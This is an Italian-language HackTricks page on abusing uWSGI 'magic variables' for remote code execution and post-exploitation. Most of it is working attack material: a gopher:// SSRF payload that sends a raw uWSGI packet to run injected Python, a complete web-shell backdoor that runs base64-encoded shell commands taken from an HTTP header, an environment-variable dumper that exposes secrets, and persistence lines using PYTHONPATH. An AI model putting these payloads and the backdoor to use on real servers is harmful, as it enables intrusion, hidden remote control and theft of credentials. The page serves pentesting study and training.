WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica di WSGI
Web Server Gateway Interface (WSGI) è una specifica che descrive come un web server comunica con le applicazioni web e come le applicazioni web possono essere concatenate per processare una richiesta. uWSGI è uno dei server WSGI più popolari, spesso usato per servire applicazioni web Python.
Sfruttamento delle magic variables di uWSGI
uWSGI fornisce speciali "magic variables" che possono essere usate per configurare dinamicamente il comportamento del server. Queste variabili possono essere impostate tramite header HTTP e possono portare a gravi vulnerabilità di sicurezza se non vengono validate correttamente.
Variabili chiave sfruttabili
UWSGI_FILE
- Esecuzione arbitraria di file
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Questa variabile permette di caricare ed eseguire file Python arbitrari come applicazioni WSGI. Se un attaccante può controllare questo parametro, può ottenere Remote Code Execution (RCE).
UWSGI_SCRIPT
- Caricamento di script
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Carica uno script specificato come nuova applicazione. Combinato con funzionalità di upload o di scrittura di file, questo può portare a RCE.
UWSGI_MODULE
e UWSGI_CALLABLE
- Dynamic Module Loading
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Questi parametri permettono di caricare moduli Python arbitrari e chiamare funzioni specifiche al loro interno.
UWSGI_SETENV
- Environment Variable Manipulation
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Può essere usato per modificare le variabili d'ambiente, potenzialmente influenzando il comportamento dell'applicazione o caricando una configurazione dannosa.
UWSGI_PYHOME
- Manipolazione dell'ambiente Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Modifica l'ambiente virtuale Python, potenzialmente caricando pacchetti malevoli o interpreti Python diversi.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Modifica la directory di lavoro prima di elaborare le richieste, cosa che può essere sfruttata per attacchi di path traversal.
SSRF + Gopher verso
Vettore d'attacco
Quando uWSGI è accessibile tramite SSRF (Server-Side Request Forgery), gli attaccanti possono interagire con il socket interno di uWSGI per sfruttare le magic variables. Questo è particolarmente pericoloso quando:
- L'applicazione ha vulnerabilità SSRF
- uWSGI è in esecuzione su una porta/socket interna
- L'applicazione non valida correttamente le magic variables
uWSGI è accessibile a causa di SSRF perché il file di configurazione uwsgi.ini
contiene: socket = 127.0.0.1:5000
, rendendolo accessibile dall'applicazione web tramite SSRF.
Esempio di sfruttamento
Passo 1: Crea un payload maligno
Prima, inietta codice Python in un file accessibile dal server (scrittura di file dentro il server, l'estensione del file non importa):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Passo 2: Costruisci richiesta del protocollo uWSGI
Usa il protocollo Gopher per inviare pacchetti uWSGI raw:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Questo payload:
- Si connette a uWSGI sulla porta 5000
- Imposta
UWSGI_FILE
per puntare al file dannoso - Forza uWSGI a caricare ed eseguire il codice Python
Struttura del protocollo uWSGI
Il protocollo uWSGI utilizza un formato binario in cui:
- Le variabili sono codificate come stringhe con prefisso di lunghezza
- Each variable has:
[name_length][name][value_length][value]
- Il pacchetto inizia con un'intestazione che contiene la dimensione totale
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Quindi usa UWSGI_FILE
per caricare this backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Environment-based Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Divulgazione di informazioni
Dumping delle variabili d'ambiente
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Accesso al file system
Usa UWSGI_CHDIR
combinato con file serving per accedere a file sensibili:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Elevazione dei privilegi
Manipolazione dei socket
Se uWSGI viene eseguito con privilegi elevati, gli attaccanti potrebbero manipolare i permessi dei socket:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Sovrascrittura della configurazione
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.